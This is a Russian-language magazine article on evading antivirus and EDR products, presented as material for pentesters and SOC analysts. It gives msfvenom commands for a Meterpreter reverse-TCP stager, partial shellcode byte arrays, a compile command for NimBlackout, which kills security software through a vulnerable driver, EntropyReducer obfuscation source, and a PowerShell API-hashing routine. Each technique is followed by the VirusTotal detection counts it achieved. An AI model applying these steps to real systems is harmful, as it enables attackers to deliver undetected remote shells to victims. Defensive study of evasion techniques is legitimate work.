April 29, 2024

Апгрейды для шелл‐кода. Изучаем инструменты обхода антивирусов и EDR

  1. На чем мы тестировали
  2. Что нового в мире AV/EDR
  3. Фреймворки для обхода AV/EDR
  4. Применяем API Hashing
  5. Выводы

Ан­тивиру­сы и сис­темы EDR ста­новят­ся всё наворо­чен­нее и даже исполь­зуют машин­ное обу­чение для более точ­ного детек­тирова­ния. Но у авто­ров мал­вари по‑преж­нему оста­ются спо­собы обой­ти все про­вер­ки. В этой статье я покажу нес­коль­ко тех­ник и инс­тру­мен­тов, которые при­меня­ют зло­умыш­ленни­ки.

Ма­тери­ал приз­ван помочь прак­тику­ющим спе­циалис­там по пен­тесту и SoC-ана­лити­кам разоб­рать­ся с тем, как зло­умыш­ленни­ки могут про­никать в сис­темы, минуя EDR (endpoint detection & response).

НА ЧЕМ МЫ ТЕСТИРОВАЛИ

Для иссле­дова­ний мы исполь­зовали Kaspersky Endpoint Detection and Response и его вари­ацию для Linux (KESL), опен­сор­сный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а так­же VirusTotal.

Ко­неч­ная цель — получить обратное соеди­нение на наш C2-сер­вер, роль которо­го будет исполнять Metasploit Framework, один из самых популяр­ных пен­тестер­ских инс­тру­мен­тов.

За пос­ледние годы АV и EDR научи­лись уже на ран­них ста­диях обна­ружи­вать фай­лы, которые были сге­нери­рова­ны Metasploit, потому что сущес­тву­ет мно­жес­тво сиг­натур для выяв­ления уста­нов­ки bind- и reverse-шел­лов. EDR опре­деля­ют, какие фай­лы .dll и .so исполь­зуют­ся при стар­те обо­лоч­ки Meterpreter, и это лишь малая часть приз­наков, помога­ющих выявить вре­донос­ный про­цесс. Для чис­тоты экспе­римен­та мы возь­мем шелл‑код, сге­нери­рован­ный через msfvenom, и будем пытать­ся его модер­низиро­вать.

Но для начала пос­мотрим, сколь­ко сей­час дает бал­лов VirusTotal на дефол­тный exe-стей­джер, сге­нери­рован­ный сле­дующей коман­дой:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe

Ре­зуль­таты про­вер­ки на VirusTotal

То есть стан­дар­тный стей­джер без проб­лем обна­ружи­вает­ся сов­ремен­ными защит­ными решени­ями.

Да­вай поп­робу­ем сде­лать вари­ант с обхо­дом. Будем генери­ровать шелл‑код на С, так как это иде­аль­ный выбор, если нам нуж­на ско­рость и кросс‑плат­формен­ность.

Вот как выг­лядит наш пер­воначаль­ный шелл‑код:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of c file: 1518 bytes

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"

...

"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

Ни­чего необыч­ного. Шелл‑код прос­то дает реверс‑шелл, а обмен дан­ных про­исхо­дит по TCP. Мы даже не при­меня­ли шиф­рование и кодиро­вание.

ЧТО НОВОГО В МИРЕ AV/EDR

В пос­ледние годы боль­шинс­тво вен­доров AV/EDR внед­рили поведен­ческий ана­лиз с исполь­зовани­ем машин­ного обу­чения, что поз­воля­ет более точ­но ана­лизи­ровать поведе­ние прог­раммы и клас­сифици­ровать ее как вре­донос­ную. Для это­го про­водит­ся пос­тоян­ный монито­ринг про­цес­са: EDR срав­нива­ет дей­ствия с про­филя­ми поведе­ния. Это повыша­ет шан­сы обна­руже­ния, но наг­ружа­ет сис­тему, может при­водить к лож­ным сра­баты­вани­ям и кон­флик­там с дру­гим ПО.

И конеч­но, по‑преж­нему акту­аль­ны ста­рые методы:

  • эв­ристи­чес­кий ана­лиз;
  • сиг­натур­ный ана­лиз
  • сен­дбок­синг;
  • IAT checking (про­вер­ка исполь­зуемых фун­кций и биб­лиотек. Нап­ример, если в IAT есть фун­кции шиф­рования, то EDR может решить, что перед ним шиф­роваль­щик);
  • API hooking (перех­ват вызовов фун­кций и перенап­равле­ние потока кода).

В общем, чем даль­ше, тем боль­ше вся­ких про­верок.

На сетевом уров­не сущес­тву­ет нес­коль­ко методов, которые мож­но исполь­зовать, что­бы попытать­ся избе­жать обна­руже­ния: DNS-тун­нелиро­вание, самопод­писан­ные сер­тифика­ты HTTPS, про­токол ICMP. Одна­ко сов­ремен­ные сис­темы обна­руже­ния угроз не под­дают­ся на все эти улов­ки.

ФРЕЙМВОРКИ ДЛЯ ОБХОДА AV/EDR

NimBlackout

NimBlackout поз­воля­ет уда­лить AV/EDR при помощи уяз­вимого драй­вера. Драй­вер GMER исполь­зует­ся для вза­имо­дей­ствия с ядром опе­раци­онной сис­темы и дает воз­можность обна­ружи­вать и ана­лизи­ровать скры­тые вре­донос­ные эле­мен­ты.

Прог­рамма написа­на на Nim, давай ском­пилиру­ем ее на Linux:

nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc c NimBlackout.nim

На выходе получи­ли PE, в который нуж­но передать про­цесс с анти­виру­сом.

Да­лее надо уста­новить уяз­вимый драй­вер в ОС и запус­тить наш исполня­емый файл.

Ус­танов­ка драй­вера и запуск .exe

Эта ата­ка нацеле­на на Microsoft Defender. Одна­ко тут есть одно но: вер­сия GMER из это­го PoC может не сра­ботать на Windows 11 и пос­ледних вер­сиях Windows 10. Более того, для запус­ка нам нуж­но иметь при­виле­гии локаль­ного адми­нис­тра­тора.

EntropyReducer

Как ты, воз­можно, зна­ешь, энтро­пия — это сте­пень слу­чай­нос­ти в задан­ном наборе дан­ных. Сущес­тву­ют раз­ные спо­собы изме­рять энтро­пию, в нашем кон­тек­сте под этим тер­мином мы будем под­разуме­вать энтро­пию Шен­нона, которая дает зна­чение от 0 до 8. С уве­личе­нием уров­ня слу­чай­нос­ти в наборе дан­ных уве­личи­вает­ся и зна­чение энтро­пии.

Дво­ичные фай­лы вре­донос­ного ПО зачас­тую име­ют более высокую энтро­пию, чем обыч­ные фай­лы. Высокая энтро­пия — явный показа­тель сжа­тых, зашиф­рован­ных или упа­кован­ных дан­ных, которые исполь­зуют­ся вре­донос­ными прог­рамма­ми для скры­тия сиг­натур.

Для при­мера пос­чита­ем энтро­пию от обыч­ного meterpreter/reverse_tcp. Сна­чала сге­нери­руем файл:

msfvenom -p windows/meterpreter/reverse_tcp LHOST = eth0 LPORT = 4444 -f raw -o entropy.bin

Для под­сче­та энтро­пии мы будем исполь­зовать PeStudio.

Под­счет энтро­пии фай­ла entropy.bin

Ре­зуль­тат неуте­шитель­ный — 6,265, и, как мы видим, PeStudio сра­зу может пре­дос­тавить информа­цию о том, какие анти­виру­сы клас­сифици­рова­ли .bin как вре­донос­ный файл.

Ес­ли чис­ло бли­зит­ся к 8, зна­чит, с огромной веро­ятностью файл вре­донос­ный. Это отме­чено в гис­тограм­ме ниже.

Гис­тограм­ма энтро­пии фай­лов

Как нам сни­зить это зна­чение? Тут поможет инс­тру­мент EntropyReducer.

EntropyReducer сна­чала про­веря­ет, кра­тен ли раз­мер полез­ной наг­рузки BUFF_SIZE (эта перемен­ная ука­зыва­ет на количес­тво бай­тов в полез­ной наг­рузке, пос­ле которых будут добав­лены пус­тые бай­ты, NULL_BYTES). Если нет, он уве­личи­вает его до необ­ходимо­го зна­чения.

// This will represent the seraizlized size of one node#define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT) // Serialized payload size: SERIALIZED_SIZE * (number of nodes) // Number of nodes: (padded payload size) / BUFF_SIZE

За­тем он берет каж­дый блок BUFF_SIZE из полез­ной наг­рузки и соз­дает для него узел связ­ного спис­ка с помощью фун­кции InitializePayloadList.

BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T sPayloadSize, OUT PLINKED_LIST* ppLinkedList);PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE pBuffer, IN INT ID);VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType)

У соз­данно­го узла пус­той буфер раз­мером NULL_BYTES. Этот буфер будет при­менять­ся для сни­жения энтро­пии.

За­тем EntropyReducer про­дол­жает слу­чай­ным обра­зом менять порядок каж­дого узла в связ­ном спис­ке, нарушая порядок исходной полез­ной наг­рузки. Этот шаг выпол­няет­ся с помощью алго­рит­ма сор­тиров­ки сли­янием, который реали­зован в фун­кции MergeSort.

case SORT_BY_BUFFER: { iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer[2]); // calculating a value from the payload buffer chunk iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer[2]); // calculating a value from the payload buffer chunk break;}

От­сорти­рован­ный связ­ный спи­сок хра­нит­ся в слу­чай­ном поряд­ке, потому что зна­чение, по которо­му он сор­тиру­ется, — это зна­чение XOR пер­вых трех бай­тов исходной полез­ной наг­рузки. Имен­но оно опре­деля­ет позицию в реор­ганизо­ван­ном связ­ном спис­ке.

BOOL Obfuscate(IN PBYTE PayloadBuffer, IN SIZE_T PayloadSize, OUT PBYTE* ObfuscatedBuffer, OUT PSIZE_T ObfuscatedSize) {PLINKED_LIST pLinkedList = NULL;*ObfuscatedSize = PayloadSize; // Convert the payload to a linked listif (!InitializePayloadList(PayloadBuffer, ObfuscatedSize, &pLinkedList))return 0; // ObfuscatedSize now is the size of the serialized linked list // pLinkedList is the head of the linked list // Randomize the linked list (sorted by the value of 'Buffer[0] ^ Buffer[1] ^ Buffer[3]')MergeSort(&pLinkedList, SORT_BY_BUFFER); // printf("---------------------------\n\n"); // PrintList(pLinkedList); // printf("---------------------------\n\n"); PLINKED_LIST pTmpHead = pLinkedList;SIZE_T BufferSize = NULL;PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, SERIALIZED_SIZE); // Serailize the linked listwhile (pTmpHead != NULL) { // This buffer will keep data of each node BYTE TmpBuffer [SERIALIZED_SIZE] = { 0 }; // Copying the payload buffer memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE); // No need to copy the 'Null' element, cz its NULL already // Copying the ID value memcpy((TmpBuffer + BUFF_SIZE + NULL_BYTES), &pTmpHead->ID, sizeof(int)); // Reallocating and moving 'TmpBuffer' to the final buffer BufferSize += SERIALIZED_SIZE; if (BufferBytes != NULL) { BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT); memcpy((PVOID)(BufferBytes + (BufferSize - SERIALIZED_SIZE)), TmpBuffer, SERIALIZED_SIZE); } // Next node pTmpHead = pTmpHead->Next;} // 'BufferBytes' is the serailized buffer*ObfuscatedBuffer = BufferBytes;if (*ObfuscatedBuffer != NULL && *ObfuscatedSize > PayloadSize) return 1;else return 0;}

Пос­коль­ку сох­ранение спис­ка в фай­ле невоз­можно из‑за того, что он уже свя­зан ука­зате­лями, при­ходит­ся делать сери­али­зацию с помощью фун­кции Obfuscate. Пос­ле это­го выпол­няет­ся запись в output_file.

Вот что выда­ет VirusTotal при ана­лизе.

Ре­зуль­таты про­вер­ки на VirusTotal

Те­перь модифи­циру­ем файл через EntropyReducer.

За­пуск EntropyReducer

Те­перь обна­руже­ние зна­читель­но ниже.

Под­счет энтро­пии фай­ла
Ре­зуль­таты про­вер­ки на VirusTotal

Вот так выг­лядит изме­нен­ный шелл‑код с умень­шен­ной энтро­пией:

unsignedcharentropy_bin_ER[] = {0x68, 0xc0, 0xa8, 0x8d, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,0x29, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x04, 0x56, 0x57, 0x68, 0x00, 0x3d,...0x00, 0x00, 0x00, 0x8b, 0x58, 0x24, 0x01, 0x00, 0x1b, 0x00, 0x00, 0x00,0xbb, 0xf0, 0xb5, 0xa2, 0x00, 0x56, 0x00, 0x00, 0x00};unsigned int entropy_bin_ER_len = 801;

Этот код мы можем ском­пилиро­вать в .exe. Пос­ле чего уже не сос­тавит тру­да запус­тить его, как обыч­ный исполня­емый файл.

ПРИМЕНЯЕМ API HASHING

API Hashing — это тех­ника, которую раз­работ­чики вре­донос­ного ПО при­меня­ют, что­бы скрыть подоз­ритель­ные вызовы Windows API от таб­лицы импорта адре­сов пор­татив­ного исполня­емо­го фай­ла (PE). Это зат­рудня­ет ана­лиз, пос­коль­ку ста­новит­ся слож­нее опре­делить, какие фун­кции вызыва­ются.

Как это работает?

Проб­лема для раз­работ­чиков вре­донос­ного ПО: если есть PE с непов­режден­ной IAT (Import Address Table), лег­ко понять, каковы воз­можнос­ти PE. Нап­ример, если вид­но, что дво­ичный файл заг­ружа­ет Ws2_32.dll, мож­но пред­положить, что он име­ет сетевые воз­можнос­ти.

Что­бы усложнить пер­воначаль­ный ана­лиз PE, вирусо­писа­тели скры­вают подоз­ритель­ные вызовы API от IAT с помощью API-хеширо­вания. Таким обра­зом, ког­да ана­литик запус­тит вре­донос­ный дво­ичный файл через ути­литу strings или откро­ет его в PE-пар­сере, подоз­ритель­ные Windows API будут скры­ты.

Пример обхода

Пред­положим, у нас есть вре­донос­ное ПО, которое исполь­зует фун­кцию CreateThread. Если мы ском­пилиру­ем код и про­ана­лизи­руем его с помощью PE-пар­сера, уви­дим, что CreateThread — одна из импорти­рован­ных фун­кций. Одна­ко если мы при­меним тех­нику API Hashing, то CreateThread исчезнет из IAT.

Для это­го раз­работ­чики вре­донос­ного ПО могут исполь­зовать сле­дующий под­ход:

  1. Соз­дает­ся хеш‑фун­кция, которая при­нима­ет имя фун­кции (нап­ример, CreateThread) и воз­вра­щает уни­каль­ное хеш‑зна­чение.
  2. Вре­донос­ное ПО во вре­мя выпол­нения переби­рает все экспор­тирован­ные фун­кции из биб­лиоте­ки (нап­ример, kernel32.dll), вычис­ляет их хеши и срав­нива­ет с хешем CreateThread.
  3. Как толь­ко хеш сов­пада­ет, вре­донос­ное ПО получа­ет адрес фун­кции и может выз­вать ее нап­рямую, минуя IAT.

Рас­смот­рим под­робнее. Как мы дол­жны получить хеш от вызова API?

У нас есть при­мер алго­рит­ма хеширо­вания, который может пре­обра­зовать любую фун­кцию в хеш:

$APIsToHash = @("VirtualAlloc")$APIsToHash | % { $api = $_ $hash = 0x35 [int]$i = 0 $api.ToCharArray() | % { $l = $_ $c = [int64]$l $c = '0x{0:x}' -f $c $hash += $hash * 0xab10f29f + $c -band 0xffffff $hashHex = '0x{0:x}' -f $hash $i++ write-host "Iteration $i : $l : $c : $hashHex" } write-host "$api`t $('0x00{0:x}' -f $hash)"}

За осно­ву для хеширо­вания мы взя­ли фун­кцию VirtualAlloc. Она поз­воля­ет зарезер­вировать опре­делен­ный объ­ем памяти.

Пре­обра­зова­ние фун­кции в хеш

Проб­лема толь­ко в том, что шелл Meterpreter дела­ет вызов ко мно­жес­тву API, вклю­чая ExitProcess, LoadLibraryA, VirtualAlloc и VirtualFree. И это далеко не пол­ный спи­сок. Что же нам делать? Здесь помога­ет Randomise-api-hashes-cobalt-strike. Этот скрипт вычис­ляет хеши для огромно­го мно­жес­тва API и заменя­ет их наз­вания в шелл‑коде. Давай уста­новим его на Kali Linux и пос­мотрим, как он работа­ет.

Кло­ниру­ем репози­торий.

Кло­ниро­вание репози­тория

Ге­нери­руем шелл‑код в сыром виде и записы­ваем в файл с рас­ширени­ем .bin.

Инс­тру­мент при­нима­ет на вход толь­ко .bin!

Ге­нера­ция шелл‑кода

И наконец, напус­тим инс­тру­мент на file.bin.

За­пуск инс­тру­мен­та Randomise-api-hashes-cobalt-strike

За­метил циф­ру 64 пос­ле наз­вания скрип­та? Это мы про­писы­ваем архи­тек­туру. Раз­ная раз­рядность — раз­ные вызовы API. Пос­ле отра­бот­ки мы получа­ем файл file.bin_0xf9.bin. Если понадо­бит­ся получить шелл‑код в сыром виде (С-code), то вновь исполь­зуем xxd.

По­луче­ние шелл‑кода в С-code

А что по обна­руже­ниям?

VirusTotal дал 11 из 69.

Ре­зуль­таты про­вер­ки на VirusTotal

И решения из спис­ка иссле­дуемых не дали отри­цатель­ный резуль­тат.

Ре­зуль­таты обна­руже­ния

Этот шелл‑код уже мож­но ском­пилиро­вать в .exe.

Шелл‑код для ком­пиляции

ВЫВОДЫ

Хо­тя на сегод­няшний день AV/EDR-решения исполь­зуют для выяв­ления ано­маль­ных дей­ствий самые передо­вые тех­нологии, вклю­чая машин­ное обу­чение, поведен­ческую ана­лити­ку и про­чее, они пока не ста­ли панаце­ей от киберуг­роз. Мы рас­смот­рели нес­коль­ко методов, некото­рые из них пока акту­аль­ны и поз­воля­ют обой­ти анти­вирус­ные решения. Все это важ­но учи­тывать сот­рудни­кам ком­паний, отве­чающих за защиту ресур­сов и пре­дот­вра­щение реали­зации киберуг­роз.